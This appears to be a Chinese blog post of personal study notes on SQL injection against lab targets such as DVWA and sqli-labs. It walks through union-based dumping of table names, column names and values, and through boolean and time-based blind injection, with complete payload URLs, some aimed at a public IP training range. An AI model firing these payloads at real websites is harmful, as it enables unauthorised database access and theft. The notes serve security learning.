sql dvwa注入笔记

union注入
1、判断是否可以注入:
单引号测试
and 测试
由上判断可以得知存在SQL注入
2、猜解字段长度
order by 2
order by 3
可以猜到字段长度为2

3、爆数据库名、数据库版本信息
a
4、爆表名
http://219.153.49.228:48204/show.php?id=-1 union select TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA=0x74657374 limit 0,1–

5、爆字段名
http://219.153.49.228:48204/show.php?id=-1 union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=0x64617461 limit 3,1

6、爆字段值
http://219.153.49.228:48204/show.php?id=-1 union select thekey,2 from test.data limit 0,1–
布尔注入
学习链接:https://blog.csdn.net/weixin_40709439/article/details/81355856
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
布尔型:页面只返回True和False两种类型页面。
http://127.0.0.1/Less-8/?id=1’and (length(database()))>10 --+
当前数据库database()的长度大于10,返回true页面,否则FALSE页面
时间型:通过页面沉睡时间判断
通过 sleep()函数测试,通过if()和sleep()联合逐个猜解数据
http://127.0.0.1/Less-9/?id=1’ and (if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4)) --+
如果当前查询的当前数据库ascii(substr(database()),1,1)的第一个字符的ASCII码大于100,ture 沉睡10秒,FALSE 沉睡4秒
链接:
https://blog.csdn.net/qq_38684504/article/details/89849978?utm_source=app
https://blog.csdn.net/qq_36706878/article/details/79677078
https://www.cnblogs.com/yuzly/p/10725942.html

http://mp.weixin.qq.com/s?__biz=MzU2NzkxMDUyNg==&mid=2247485360&idx=1&sn=f27d65680dd4d61707eed36d7fd27172&chksm=fc974ea1cbe0c7b7aa504822d2c7097c13af1fede65a9fcf2125bbd3288f83e61eaa22c0970e&mpshare=1&scene=23&srcid=&sharer_sharetime=1576467591833&sharer_shareid=127e537f73175af0d605029323019715#rd

sqlmap:
https://blog.csdn.net/qq_33530840/article/details/82144515

https://www.cnblogs.com/lanyincao/p/11179192.html

发布了7 篇原创文章 · 获赞 0 · 访问量 79

猜你喜欢

转载自blog.csdn.net/q20010619/article/details/104875220